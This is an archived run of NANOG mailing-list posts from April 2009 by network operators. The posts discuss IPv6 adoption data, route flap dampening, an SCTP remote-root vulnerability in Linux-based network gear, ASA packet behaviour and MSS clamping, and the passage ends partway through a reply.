Jeroen is right... the data coming off of AT&T nodes doesn't give any credence to the report. The report *does* tell us that there is still an active effort to avoid IPv6. The rationale used to derrive the conclusions in the report is lacking at best, harmful to adoption at worst. I feel that the grossly incomplete data will be percieved as a lot of FUD coming off this report, but I'm unsure who it would benefit to maintain such stances (except a current Tier-1 IPv4 provider who doesn't have the same status in the IPv6 Internet). From maillist at thelan.no Tue Apr 28 12:30:38 2009 From: maillist at thelan.no (Harald Firing Karlsen) Date: Tue, 28 Apr 2009 19:30:38 +0200 Subject: Study of IPv6 Deployment In-Reply-To: <10BA3662CE0C4030989C1765A0CEE76E@awesometron40k> References: <10BA3662CE0C4030989C1765A0CEE76E@awesometron40k> Message-ID: <49F73D3E.1020700@thelan.no> Elliott Karpilovsky wrote: > Hello everyone. My name is Elliott Karpilovsky, a student at Princeton University. In collaboration with Alex Gerber (AT&T Research), Dan Pei (AT&T Research), Jennifer Rexford (Princeton University), and Aman Shaikh (AT&T Research), we studied the extent of IPv6 deployment at both global and local levels. Our conclusions can be summarized by the following three points: > > 1.) IPv6 deployment is not seen as a pressing issue. > 2.) We saw a lack of meaningful IPv6 traffic (mostly DNS/Domain and ICMP messages), possibly indicating that IPv6 networks are still experimental. > 3.) Studying Teredo traffic suggested that it may be used for NAT busting by P2P networks. > > Our paper (submitted and presented at PAM 2009) can be found at http://www.cs.princeton.edu/~elliottk/ipv6study.html . If you have comments or feedback with respect to these results, please feel free to express them. > > Thank you. > Hi! Please check out the following link with some information/statistics from a LAN-party taking place in Norway (yeah, Norway is in Europe, not North America, but it stills give an overview): http://technet.gathering.org/?p=121 There were over 5000 computers in the arena and of those 47% had a valid and working IPv6 address. They was also provided with IPv4 and no NAT at all. The only ports being closed outbound was 25, 135-139 and 445. Google over IPv6 was enabled for the event as well, so a lot of the traffic was towards google. -- Harald Firing Karlsen From j13park at hotmail.com Tue Apr 28 12:50:51 2009 From: j13park at hotmail.com (Jonathan Park) Date: Tue, 28 Apr 2009 17:50:51 +0000 Subject: route flap dampening In-Reply-To: References: Message-ID: I see. Yes, I also heard that many networks have RFD enabled although it is not recommended, and I was wondering why that would be. So far from the responses, it seems to me that the reasons are: 1. to protect the network resources 2. to confine the flapping announcements made by customers locally within your network (easier to debug) Do you have any other reasons if you use RFD? Thanks Kevin and everyone for the responses. Jonathan > Date: Mon, 27 Apr 2009 20:35:10 -0600 > From: Epperson at Colorado.EDU > To: j13park at hotmail.com > Subject: Re: route flap dampening > > In general I am against route flap dampening -- however many networks > still have it enabled and when a customer flaps a few times and calls my > operations center I want to be able to clear it on *my* network rather > than having to tell them to call misc other network or coordinate that on > their behalf. > > -Kevin (Level3) > > On Mon, 27 Apr 2009, Jonathan Park wrote: > > > > > Hello all, > > I was wondering how many of you use route flap dampening in your network. > > If you have it enabled, what is the main reason? > > > > Thank you! > > Jonathan _________________________________________________________________ Rediscover Hotmail?: Now available on your iPhone or BlackBerry http://windowslive.com/RediscoverHotmail?ocid=TXT_TAGLM_WL_HM_Rediscover_Mobile2_042009 From jbates at brightok.net Tue Apr 28 12:57:32 2009 From: jbates at brightok.net (Jack Bates) Date: Tue, 28 Apr 2009 12:57:32 -0500 Subject: Is everyone getting the ShimizuHarune@yahoogroups.jp ugliness? Message-ID: <49F7438C.4010109@brightok.net> nanog-bounces+alamiki1623=yahoo.co.jp at nanog.org I'm rather shocked that yahoogroups.jp allows a group to have addresses included in it that haven't confirmed opt-in. The constant loop of nanog through the group to my mailbox as trash (I don't read foreign languages, thus trash) is annoying. Anyone else having this problem? Who can kindly kill that address from the list feed until the genius piping that address's email into ShimizuHarune at yahoogroups.jp stops (and hopefully kindly deletes the group or removes my email address from it). Jack From charles at thewybles.com Tue Apr 28 13:05:57 2009 From: charles at thewybles.com (Charles Wyble) Date: Tue, 28 Apr 2009 11:05:57 -0700 Subject: Is everyone getting the ShimizuHarune@yahoogroups.jp ugliness? In-Reply-To: <49F7438C.4010109@brightok.net> References: <49F7438C.4010109@brightok.net> Message-ID: <49F74585.3050702@thewybles.com> Yes. I'm getting that as well. It's appending weird characters onto every message. I'm getting many messages in duplicate (with and without the characters). Though this message I only received once and without the characters. It appears threads started yesterday are affected. Jack Bates wrote: > nanog-bounces+alamiki1623=yahoo.co.jp at nanog.org > > I'm rather shocked that yahoogroups.jp allows a group to have addresses > included in it that haven't confirmed opt-in. The constant loop of nanog > through the group to my mailbox as trash (I don't read foreign > languages, thus trash) is annoying. > > Anyone else having this problem? Who can kindly kill that address from > the list feed until the genius piping that address's email into > ShimizuHarune at yahoogroups.jp stops (and hopefully kindly deletes the > group or removes my email address from it). > > > Jack > From kris.foster at gmail.com Tue Apr 28 13:07:25 2009 From: kris.foster at gmail.com (kris foster) Date: Tue, 28 Apr 2009 11:07:25 -0700 Subject: Is everyone getting the ShimizuHarune@yahoogroups.jp ugliness? In-Reply-To: <49F7438C.4010109@brightok.net> References: <49F7438C.4010109@brightok.net> Message-ID: <40537B15-C9AC-424E-A940-55E81E339AD0@gmail.com> We're working to correct this Kris, MLC Chair On Apr 28, 2009, at 10:57 AM, Jack Bates wrote: > nanog-bounces+alamiki1623=yahoo.co.jp at nanog.org > > I'm rather shocked that yahoogroups.jp allows a group to have > addresses included in it that haven't confirmed opt-in. The constant > loop of nanog through the group to my mailbox as trash (I don't read > foreign languages, thus trash) is annoying. > > Anyone else having this problem? Who can kindly kill that address > from the list feed until the genius piping that address's email into ShimizuHarune at yahoogroups.jp > stops (and hopefully kindly deletes the group or removes my email > address from it). > > > Jack > From Skywing at valhallalegends.com Tue Apr 28 13:28:27 2009 From: Skywing at valhallalegends.com (Skywing) Date: Tue, 28 Apr 2009 13:28:27 -0500 Subject: Is everyone getting the ShimizuHarune@yahoogroups.jp ugliness? In-Reply-To: <40537B15-C9AC-424E-A940-55E81E339AD0@gmail.com> References: <49F7438C.4010109@brightok.net> <40537B15-C9AC-424E-A940-55E81E339AD0@gmail.com> Message-ID: <982D8D05B6407A49AD506E6C3AC8E7D6E518A2B016@caralain.haven.nynaeve.net> While we're at dealing with mailing list issues, can the mailing list be fixed to include a Sender: header with messages, so that Sender ID implementations don't get unhappy about every single message going through the list? This came up about half a year ago and seems to have fallen by the wayside and never got any traction. - S -----Original Message----- From: kris foster [mailto:kris.foster at gmail.com] Sent: Tuesday, April 28, 2009 11:07 AM To: Jack Bates Cc: nanog at nanog.org Subject: Re: Is everyone getting the ShimizuHarune at yahoogroups.jp ugliness? We're working to correct this Kris, MLC Chair On Apr 28, 2009, at 10:57 AM, Jack Bates wrote: > nanog-bounces+alamiki1623=yahoo.co.jp at nanog.org > > I'm rather shocked that yahoogroups.jp allows a group to have > addresses included in it that haven't confirmed opt-in. The constant > loop of nanog through the group to my mailbox as trash (I don't read > foreign languages, thus trash) is annoying. > > Anyone else having this problem? Who can kindly kill that address > from the list feed until the genius piping that address's email into ShimizuHarune at yahoogroups.jp > stops (and hopefully kindly deletes the group or removes my email > address from it). > > > Jack > From pshem.k at gmail.com Tue Apr 28 16:06:57 2009 From: pshem.k at gmail.com (Pshem Kowalczyk) Date: Wed, 29 Apr 2009 09:06:57 +1200 Subject: Concerning MPLS paths In-Reply-To: <262b67200904270510l5f96db7co7f7346a90bdffcac@mail.gmail.com> References: <262b67200904270510l5f96db7co7f7346a90bdffcac@mail.gmail.com> Message-ID: <20fe625b0904281406t764339bbkcc06462b1f3f1fd7@mail.gmail.com> Hi, 2009/4/28 Saqib Ilyas : > Hello everyone > In the context of a single service provider network running MPLS, if a > number of bandwidth constrained LSPs are passing through a particular node > and the sum of the bandwidth constraints for the LSPs is X Mb/s, then is X > the upper bound on the traffic through that node, or is it sometimes > exceeded as well? >From my experience with RSVP-TE and LSP tunnels the bandwidth you pin down for a tunnel is only reserved, not guaranteed. There is nothing stopping you from creating a 10Mb/s LSP and sending 20Mb/s down through it. By default only the ingress LSR can do the policing/shaping. If you don't to that at the head than the rest of the network will just happily pass the traffic defaulting to its normal queue handling. So to answer to your question is - yes you might see more traffic then you've reserved. kind regards Pshem From andrew.wallace at rocketmail.com Tue Apr 28 17:31:04 2009 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Tue, 28 Apr 2009 23:31:04 +0100 Subject: one shot remote root for linux? In-Reply-To: <49F70E48.7020702@linuxbox.org> References: <49F70E48.7020702@linuxbox.org> Message-ID: <4b6ee9310904281531t3fee11efg1b92871a842b5264@mail.gmail.com> Why are you alining yourself with a computer hacker? I thought you were trying to stop these guys releasing exploits in your line of work? Andrew On Tue, Apr 28, 2009 at 3:10 PM, Gadi Evron wrote: > This is one of them mysterious and rare cases where a non router OS > vulnerability may affect network operations. > > Sometimes news finds us in mysterious yet obvious ways. > > HD Moore (respected security researcher) set a status which I noticed on my > twitter: > > @hdmoore reading through sctp_houdini.c - one-shot remote linux kernel > root - http://kernelbof.blogspot.com/ > > I asked him about it on IM, wondering if it is real: > "looks like that > but requires a sctp app to be running" > > Naturally, I retweeted. > > Signed, > > ? ? ? ?@gadievron > > > From nanog at daork.net Tue Apr 28 18:25:58 2009 From: nanog at daork.net (Nathan Ward) Date: Wed, 29 Apr 2009 11:25:58 +1200 Subject: Study of IPv6 Deployment In-Reply-To: <49F73D3E.1020700@thelan.no> References: <10BA3662CE0C4030989C1765A0CEE76E@awesometron40k> <49F73D3E.1020700@thelan.no> Message-ID: <68010A49-FB5B-4CBE-B55E-86E1F833D7E6@daork.net> On 29/04/2009, at 5:30 AM, Harald Firing Karlsen wrote: > Please check out the following link with some information/statistics > from a LAN-party taking place in Norway (yeah, Norway is in Europe, > not North America, but it stills give an overview): > http://technet.gathering.org/?p=121 > > There were over 5000 computers in the arena and of those 47% had a > valid and working IPv6 address. They was also provided with IPv4 and > no NAT at all. The only ports being closed outbound was 25, 135-139 > and 445. Google over IPv6 was enabled for the event as well, so a > lot of the traffic was towards google. Did you have any problems that you encountered? Poorly behaving IPv6 stacks, rogue RA+SLAAC/DHCPv6, etc.? Do you have any netflow logs from the event? -- Nathan Ward From morrowc.lists at gmail.com Tue Apr 28 20:33:06 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Tue, 28 Apr 2009 21:33:06 -0400 Subject: one shot remote root for linux? In-Reply-To: <4b6ee9310904281531t3fee11efg1b92871a842b5264@mail.gmail.com> References: <49F70E48.7020702@linuxbox.org> <4b6ee9310904281531t3fee11efg1b92871a842b5264@mail.gmail.com> Message-ID: <75cb24520904281833o64659bcam1af1122940c15fe8@mail.gmail.com> On Tue, Apr 28, 2009 at 6:31 PM, andrew.wallace wrote: > Why are you alining yourself with a computer hacker? I thought you > were trying to stop these guys releasing exploits in your line of > work? it didn't look like he did (to me) > On Tue, Apr 28, 2009 at 3:10 PM, Gadi Evron wrote: >> This is one of them mysterious and rare cases where a non router OS >> vulnerability may affect network operations. >> hrm, in reality a bunch of non-router vulnerabilities affect (to some extent anyway) network operations. >> Sometimes news finds us in mysterious yet obvious ways. >> >> HD Moore (respected security researcher) set a status which I noticed on my >> twitter: >> >> @hdmoore reading through sctp_houdini.c - one-shot remote linux kernel >> root - http://kernelbof.blogspot.com/ >> >> I asked him about it on IM, wondering if it is real: >> "looks like that >> but requires a sctp app to be running" one good thing, practically no sctp deployment... and, hopefully for networking equipment there's already local firewall/acl capability deployed. That said there are a few 'network devices' which are linux based (not just Vyatta! :) ) o Cisco Guards o Arbor Peakflow (at least the X version) o some-route-optmization systems o dns/mail/ntp/blah widgets It's nice to get some notice of this, it's also nice it got fixed in later kernels (who knows what kernel Peakflow-X has deployed or what custom mods happen to it?) Quickly searching shows quite a few SCTP/Linux problems reported over at least the last 2.5 years. The one mentioned here seems to be: CVE-2009-0065 reported Jan 5th 2009, only redhat reports back a fix so far (according to mitre). Putting on my Paul Quinn/Roland Dobbins/Darrel Lewis hat - another good argument for infrastructure acls!! :) -chris From Valdis.Kletnieks at vt.edu Tue Apr 28 20:36:24 2009 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 28 Apr 2009 21:36:24 -0400 Subject: one shot remote root for linux? In-Reply-To: Your message of "Tue, 28 Apr 2009 23:31:04 BST." <4b6ee9310904281531t3fee11efg1b92871a842b5264@mail.gmail.com> References: <49F70E48.7020702@linuxbox.org> <4b6ee9310904281531t3fee11efg1b92871a842b5264@mail.gmail.com> Message-ID: <55292.1240968984@turing-police.cc.vt.edu> On Tue, 28 Apr 2009 23:31:04 BST, "andrew.wallace" said: > Why are you alining yourself with a computer hacker? I thought you > were trying to stop these guys releasing exploits in your line of > work? Phrased differently: "The horse has already left the barn, and Gadi is warning you that there's a horse possibly munching on your front lawn already". Which would you rather have if you actually had a network to run - Gadi and HD Moore telling you that the bad guys have a point-and-shoot for the boxes you use to run your net, or them *not* telling you about the point-and-shoot? Hint: Anybody who thinks HD Moore is a major part of the problem is probably more a part of the problem than HD is. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From Sam.Crooks at experian.com Tue Apr 28 22:10:04 2009 From: Sam.Crooks at experian.com (Crooks, Sam) Date: Tue, 28 Apr 2009 22:10:04 -0500 Subject: one shot remote root for linux? In-Reply-To: <75cb24520904281833o64659bcam1af1122940c15fe8@mail.gmail.com> Message-ID: > -----Original Message----- > From: Christopher Morrow [mailto:morrowc.lists at gmail.com] > Sent: Tuesday, April 28, 2009 8:33 PM > To: nanog at nanog.org > Subject: Re: one shot remote root for linux? > > That said there are a few 'network devices' which are linux > based (not just Vyatta! :) ) > > o Cisco Guards > o Arbor Peakflow (at least the X version) o > some-route-optmization systems o dns/mail/ntp/blah widgets > Cisco ASA's appear to be linux under the hood based on watching versions of ASA804-3/12/19/23/31 boot on the console From nanog at daork.net Tue Apr 28 22:25:50 2009 From: nanog at daork.net (Nathan Ward) Date: Wed, 29 Apr 2009 15:25:50 +1200 Subject: one shot remote root for linux? In-Reply-To: References: Message-ID: On 29/04/2009, at 3:10 PM, Crooks, Sam wrote: > Cisco ASA's appear to be linux under the hood based on watching > versions > of ASA804-3/12/19/23/31 boot on the console They are Linux, and run two copies of IOS simultaneously in a VM each. Kind of like how VMWare ESX is Linux - technically it is, but you don't really treat it as such. -- Nathan Ward From joelja at bogus.com Tue Apr 28 22:51:16 2009 From: joelja at bogus.com (Joel Jaeggli) Date: Tue, 28 Apr 2009 20:51:16 -0700 Subject: one shot remote root for linux? In-Reply-To: <49F70E48.7020702@linuxbox.org> References: <49F70E48.7020702@linuxbox.org> Message-ID: <49F7CEB4.4080004@bogus.com> Gadi Evron wrote: > I asked him about it on IM, wondering if it is real: > "looks like that > but requires a sctp app to be running" And which sctcp transport utiltizing app pray tell do you commonly find running on linux based routers and network infrastructure? From damin at nacs.net Tue Apr 28 22:57:44 2009 From: damin at nacs.net (Gregory Boehnlein) Date: Tue, 28 Apr 2009 23:57:44 -0400 Subject: one shot remote root for linux? In-Reply-To: References: Message-ID: <0a0301c9c87e$a6f1aaa0$f4d4ffe0$@net> > > Cisco ASA's appear to be linux under the hood based on watching > > versions of ASA804-3/12/19/23/31 boot on the console > > They are Linux, and run two copies of IOS simultaneously in a VM each. > > Kind of like how VMWare ESX is Linux - technically it is, but you > don't really treat it as such. Not to nit-pick, but VMware ESX uses RedHat Enterprise Linux for it's service console on versions previous to ESXi. The purpose of the service console is to provide support for booting the ESX Hypervisor which itself IS NOT Linux. It does, however, implement a Linux Driver compatability layer so that un-modified Linux drivers can be used w/ the Vmware ESX Hypervisor. The stated goal of this layer is to allow existing third party drivers to be rapidly added to the ESX Hypervisor w/out a lengthy porting process or a requirement for a company to maintain a completely separate driver source code tree for Vmware ESX. Here is a link to some info on Wikipedia: http://en.wikipedia.org/wiki/VMware_ESX_Server Specifically; "VMware states that the ESX Server product runs on "bare metal".[3] In contrast to other VMware products, it does not run atop a third-party operating system[4], but instead includes its own kernel. Up through the current ESX version 3.5, a Linux kernel is started first[5] and is used to load a variety of specialized virtualization components, including VMware's 'vmkernel' component. This previously-booted Linux kernel then becomes the first running virtual machine and is called the service console. Thus, at normal run-time, the vmkernel is running on the bare computer and the Linux-based service console runs as the first virtual machine (and cannot be terminated or shutdown without shutting down the entire system)." It is a common misconception that the ESX Hypervisor is Linux based, but that is an urban legend. From toddunder at gmail.com Wed Apr 29 10:21:25 2009 From: toddunder at gmail.com (Todd Underwood) Date: Wed, 29 Apr 2009 08:21:25 -0700 Subject: [NANOG-announce] NANOG 46 agenda announced; reduced rate registration expiring soon Message-ID: <65b1fd2e0904290821x7a38e900vcecc42f51b663a49@mail.gmail.com> Howdy, An updated agenda for NANOG46 has been posted at: http://nanog.org/meetings/nanog46/agenda.php you might notice that this NANOG features: * Keynote by Paul Vixie on "Internet Superbugs and the Art of War" * A ton of useful tutorials including Dani Roisman's popular "BGP Load Balancing", and new tutorials from Richard Steenbergen, "Production v6 Network in 30 minutes or less" and Martin Hannigan "Network Capacity RFP" * The popular Peering and Security tracks * New v6 operational content and experience * Lots of other great, operational presentations So I would humbly suggest that you (collectively) register for NANOG46 ( https://nanog.merit.edu/registration/ ) as quickly as possible. Discounted registration ends in less than two weeks (on May 10) so save yourself $75 and get registered. You know you're going to go, so just go already. If you require an invitation or travel letter for visa purposes, please send mail to nanog-support at nanog.org. I would *strongly* suggest you reserve a hotel room if you have not already. The last several NANOGs all available discounted rooms in the room block have gone very quickly. ( http://nanog.org/meetings/nanog46/hotel.php ) Note that the program is now almost completely full (there are 2-3 slots left that are saved for conditionally accepted talks that are already in progress or any presentations dealing with late-breaking events, but the event would have to be exceptionally significant and interesting). If you didn't submit for this NANOG conference, please consider submitting a presentation for NANOG47. (http://pc.nanog.org) Lightning talk submission will open on May 14. Lightning talks are short (10 minute maximum) presentations submitted immediately prior to or during the conference. Lightning talks are particularly appropriate for material that is too short to fill a normal Plenary presentation slot or too timely to have been submitted with sufficient anticipation. Lightning talks are also an opportunity for presenters to get early feedback on a new or still-gestating idea. The first round of Lightning talks will be selected on June 9 and will be announced immediately prior to the start of the conference. Additional lightning talks will be selected during the conference. Looking forward to seeing all of you in Philadelphia, Todd Underwood, Chair NANOG Program Commitee _______________________________________________ NANOG-announce mailing list NANOG-announce at nanog.org http://mailman.nanog.org/mailman/listinfo/nanog-announce From lowen at pari.edu Wed Apr 29 10:47:38 2009 From: lowen at pari.edu (Lamar Owen) Date: Wed, 29 Apr 2009 11:47:38 -0400 Subject: one shot remote root for linux? In-Reply-To: <75cb24520904281833o64659bcam1af1122940c15fe8@mail.gmail.com> References: <49F70E48.7020702@linuxbox.org> Message-ID: <200904291147.38249.lowen@pari.edu> On Tuesday 28 April 2009 09:33:06 pm Christopher Morrow wrote: > That said there are a few 'network devices' which are linux based (not > just Vyatta! :) ) > > o Cisco Guards > o Arbor Peakflow (at least the X version) > o some-route-optmization systems > o dns/mail/ntp/blah widgets Add: Cisco Content Engines and anything else that runs ACNS. From nanog at daork.net Wed Apr 29 16:29:25 2009 From: nanog at daork.net (Nathan Ward) Date: Thu, 30 Apr 2009 09:29:25 +1200 Subject: one shot remote root for linux? In-Reply-To: References: Message-ID: <9A34A79C-D973-4130-8010-0E98ECAD84F6@daork.net> On 29/04/2009, at 3:25 PM, Nathan Ward wrote: > On 29/04/2009, at 3:10 PM, Crooks, Sam wrote: > >> Cisco ASA's appear to be linux under the hood based on watching >> versions >> of ASA804-3/12/19/23/31 boot on the console > > > They are Linux, and run two copies of IOS simultaneously in a VM each. Erk, sorry, I brain farted and was thinking of the ASR. I'm really not sure about the ASA product line. -- Nathan Ward From ken.gilmour at gmail.com Wed Apr 29 16:38:52 2009 From: ken.gilmour at gmail.com (Ken Gilmour) Date: Wed, 29 Apr 2009 15:38:52 -0600 Subject: Minnesota to block online gambling sites? Message-ID: <5b6f80200904291438j2fb6238fs50b93c59b912c41e@mail.gmail.com> Hi there, I am just wondering if anyone knows any more about the attempt by Minnesota to block online gambling companies other than what's publicly available (e.g. http://www.gambling911.com/gambling-news/minnesota-regulators-try-block-access-gambing-sites-042909.html)? Such as a list or the letter to the providers? Thank you! Ken From jbfixurpc at gmail.com Wed Apr 29 17:04:51 2009 From: jbfixurpc at gmail.com (=?iso-8859-1?B?Sm+i?=) Date: Wed, 29 Apr 2009 18:04:51 -0400 Subject: Question. Cisco PIX/ASA In-Reply-To: <9A34A79C-D973-4130-8010-0E98ECAD84F6@daork.net> Message-ID: <001e01c9c916$85e87f80$0101a8c0@E520> Greetings all I have a customer running with a Cisco 5500 series firewall. What were seeing (as a problem) is that there is a bit being flipped by the firewall in the packet header. The bit in question is the Congession Window Reduced or CWR bit. Under heavy load the target server is getting this bit as high and since (I am guessing) its that way dropping the session yet its not near capacity. It?s a Microsoft server as well. Not that I am knocking that but. Under the same situation a Linux/Apache server doesn't seem to care, and goes about its business. Anyone heard of this? I did searches regarding this but found (as per usual) tons of usless info. I'm not sure why the packets are being changed by the ASA. I know there not hitting the firewall this way (Packet capture) but they are getting changed. Config mishap? Is the ASA throttling down stuff, and if so why not at the requesting party? Dunno. Completely baffled. Thanks In Advance! -Joe From andy at nosignal.org Thu Apr 30 02:05:55 2009 From: andy at nosignal.org (Andy Davidson) Date: Thu, 30 Apr 2009 08:05:55 +0100 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: References: <00af01c9c5f9$6aeec010$40cc4030$@edu> <49F4C600.5000609@zero11.com> <58E7F846-051C-42F9-9B96-68CBCEC4C132@beztech.net> <49F4C9CA.20505@zero11.com> <49F51B2E.4010402@rockynet.com> Message-ID: On 27 Apr 2009, at 04:24, Suresh Ramasubramanian wrote: > If your email and phone communications are down due to a connectivity > break, and your customers get connectivity from you [assume no backup > links, by default .. you'd be surprised at how many smaller customers > get by with a single link and no backups at all. If their > connectivity is down too - they just cant get to twitter right? Twitter, in line with the subject line, has got out of band - updates by SMS. So the general lesson is that even organisations with single homed connectivity can post updates to colleagues, peers, customers, if they build tools that let them do so from their cellphones... whether this is via twitter or an externally hosted blog, or status page, or something else. Andy From rs at seastrom.com Thu Apr 30 07:12:27 2009 From: rs at seastrom.com (Robert E. Seastrom) Date: Thu, 30 Apr 2009 08:12:27 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: (Randy Bush's message of "Sat, 25 Apr 2009 11:35:38 +0900") References: <49F164B6.9070109@coders.net> <20090424162910.51A5C1CC50@ptavv.es.net> Message-ID: <863abqwdas.fsf@seastrom.com> Randy Bush writes: > mtu clue is also useful. here on tokyo b-flets, and i would guess in > many other ppoe environments, you need to tune or lose big-time. But not difficult to beneficially MiM: in pf: scrub in on gre0 max-mss 1400 scrub out on gre0 max-mss 1400 in cisco-land: ip tcp adjust-mss 1400 i'm sure the linux folks can offer up something similar... -r From jhorstman at adknowledge.com Thu Apr 30 10:25:06 2009 From: jhorstman at adknowledge.com (Justin Horstman) Date: Thu, 30 Apr 2009 10:25:06 -0500 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <863abqwdas.fsf@seastrom.com> References: <49F164B6.9070109@coders.net> <20090424162910.51A5C1CC50@ptavv.es.net> <863abqwdas.fsf@seastrom.com> Message-ID: Default MSS for most linux is 0, which causes the kernel to calculate it as the interface MTU-40bytes. You can either change the MTU on the interface or more specifically use the 'ip route dev advmss ' command to update it on a per route basis. ~J -----Original Message----- From: Robert E. Seastrom [mailto:rs at seastrom.com] Sent: Thursday, April 30, 2009 7:12 AM To: Randy Bush Cc: nanog at nanog.org Subject: Re: Important New Requirement for IPv4 Requests Randy Bush writes: > mtu clue is also useful. here on tokyo b-flets, and i would guess in > many other ppoe environments, you need to tune or lose big-time. But not difficult to beneficially MiM: in pf: scrub in on gre0 max-mss 1400 scrub out on gre0 max-mss 1400 in cisco-land: ip tcp adjust-mss 1400 i'm sure the linux folks can offer up something similar... -r From paul at jakma.org Thu Apr 30 12:28:58 2009 From: paul at jakma.org (Paul Jakma) Date: Thu, 30 Apr 2009 18:28:58 +0100 (BST) Subject: one shot remote root for linux? In-Reply-To: <0a0301c9c87e$a6f1aaa0$f4d4ffe0$@net> References: <0a0301c9c87e$a6f1aaa0$f4d4ffe0$@net> Message-ID: On Tue, 28 Apr 2009, Gregory Boehnlein wrote: > It is a common misconception that the ESX Hypervisor is Linux based, but > that is an urban legend. Is the ESX Hypervisor useful without the Linux layer? Then, to what extent do "based on" and "depends on" differ in the context of software? --paulj From virendra.rode at gmail.com Thu Apr 30 13:31:31 2009 From: virendra.rode at gmail.com (virendra rode) Date: Thu, 30 Apr 2009 11:31:31 -0700 Subject: Question. Cisco PIX/ASA In-Reply-To: <001e01c9c916$85e87f80$0101a8c0@E520> References: <001e01c9c916$85e87f80$0101a8c0@E520> Message-ID: <49F9EE83.4070206@gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Joe - Maybe the middlebox along the path doesn't like tcp window scale parameter being changed in the midway due to dropped tcp connections or something. Could be specific to microsoft server. What does your pix logs show? Have you tried turning off 'tcp window scale' option on your windows server? I believe this is enabled by default[0]. See if you can test this. I've ran into similar problems using pix/nokia fw. Hopefully this helps and you might want to bounce (do not crosspost :)) this thread off cisco-nsp. regards, /virendra [0] http://support.microsoft.com/kb/934430 Jo? wrote: > Greetings all > > > I have a customer running with a Cisco 5500 series firewall. What were > seeing (as a problem) is that there is a bit being flipped by the firewall > in the packet header. The bit in question is the Congession Window Reduced > or CWR bit. Under heavy load the target server is getting this bit as high > and since (I am guessing) its that way dropping the session yet its not near > capacity. It?s a Microsoft server as well. Not that I am knocking that but. > Under the same situation a Linux/Apache server doesn't seem to care, and > goes about its business. Anyone heard of this? I did searches regarding this > but found (as per usual) tons of usless info. I'm not sure why the packets > are being changed by the ASA. I know there not hitting the firewall this way > (Packet capture) but they are getting changed. Config mishap? Is the ASA > throttling down stuff, and if so why not at the requesting party? > > Dunno. Completely baffled. Thanks In Advance! > > -Joe > > > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJ+e6DpbZvCIJx1bcRAiYcAKDsGJd2H4QNSB7Leqqc5LwX8Bu78ACgo43T j6t3fKOELjTbgkP0qhBzzwg= =krtL -----END PGP SIGNATURE----- From andre at operations.net Thu Apr 30 14:19:19 2009 From: andre at operations.net (Andre Gironda) Date: Thu, 30 Apr 2009 12:19:19 -0700 Subject: one shot remote root for linux? In-Reply-To: References: <0a0301c9c87e$a6f1aaa0$f4d4ffe0$@net> Message-ID: <2fd9390e0904301219l2e38346asd0dcc8b1faf9e139@mail.gmail.com> On Thu, Apr 30, 2009 at 10:28 AM, Paul Jakma wrote: > On Tue, 28 Apr 2009, Gregory Boehnlein wrote: >> It is a common misconception that the ESX Hypervisor is Linux based, but >> that is an urban legend. > > Is the ESX Hypervisor useful without the Linux layer? Then, to what extent > do "based on" and "depends on" differ in the context of software? ESXi doesn't require much Linux (just busybox), but I think the point is that the VMkernel (the hypervisor) and the service console (Linux) are separate entities. The SC is really a VM, so it depends more on VMkernel than VMkernel depends on it. dre From paul at jakma.org Thu Apr 30 14:52:46 2009 From: paul at jakma.org (Paul Jakma) Date: Thu, 30 Apr 2009 20:52:46 +0100 (BST) Subject: one shot remote root for linux? In-Reply-To: <2fd9390e0904301219l2e38346asd0dcc8b1faf9e139@mail.gmail.com> References: <0a0301c9c87e$a6f1aaa0$f4d4ffe0$@net> <2fd9390e0904301219l2e38346asd0dcc8b1faf9e139@mail.gmail.com> Message-ID: On Thu, 30 Apr 2009, Andre Gironda wrote: > ESXi doesn't require much Linux (just busybox), but I think the point > is that the VMkernel (the hypervisor) and the service console (Linux) > are separate entities. The SC is really a VM, so it depends more on > VMkernel than VMkernel depends on it. So it's a VM, which is required to be booted in order to be able to load the hypervisor? Seems an unusual definition of VM to me.. Also, which code handles the I/O to load the other, less special, VMs? The Linux fs and block layer, or the VMWare hypervisor? Anyway, I fear we're about to be kicked into touch by the moderators.. regards, -- Paul Jakma paul at clubi.ie paul at jakma.org Key ID: 64A2FF6A From jdfalk-lists at cybernothing.org Thu Apr 30 14:55:44 2009 From: jdfalk-lists at cybernothing.org (J.D. Falk) Date: Thu, 30 Apr 2009 13:55:44 -0600 Subject: Beware surfers: cyberspace is filling up Message-ID: <49FA0240.7030107@cybernothing.org> 'Experts predict that consumer demand, already growing at 60 per cent a year, will start to exceed supply from as early as next year because of more people working online and the soaring popularity of bandwidth-hungry websites such as YouTube and services such as the BBC?s iPlayer. It will initially lead to computers being disrupted and going offline for several minutes at a time. From 2012, however, PCs and laptops are likely to operate at a much reduced speed, rendering the internet an ?unreliable toy?.' http://technology.timesonline.co.uk/tol/news/tech_and_web/the_web/article6169488.ece (I don't even know where to start.) -- J.D. Falk Return Path Inc http://www.returnpath.net/ From sil at infiltrated.net Thu Apr 30 15:16:16 2009 From: sil at infiltrated.net (J. Oquendo) Date: Thu, 30 Apr 2009 16:16:16 -0400 Subject: Beware surfers: cyberspace is filling up In-Reply-To: <49FA0240.7030107@cybernothing.org> References: <49FA0240.7030107@cybernothing.org> Message-ID: <49FA0710.7040107@infiltrated.net> J.D. Falk wrote: > 'Experts predict that consumer demand, already growing at 60 per cent > a year, will start to exceed supply from as early Can you re-send. Something seems to have stopped your entire message from reaching my inb From jgreco at ns.sol.net Thu Apr 30 15:21:27 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Thu, 30 Apr 2009 15:21:27 -0500 (CDT) Subject: Beware surfers: cyberspace is filling up In-Reply-To: <49FA0240.7030107@cybernothing.org> from "J.D. Falk" at Apr 30, 2009 01:55:44 PM Message-ID: <200904302021.n3UKLRLI095654@aurora.sol.net> > 'Experts predict that consumer demand, already growing at 60 per cent a > year, will start to exceed supply from as early as next year because of more > people working online and the soaring popularity of bandwidth-hungry > websites such as YouTube and services such as 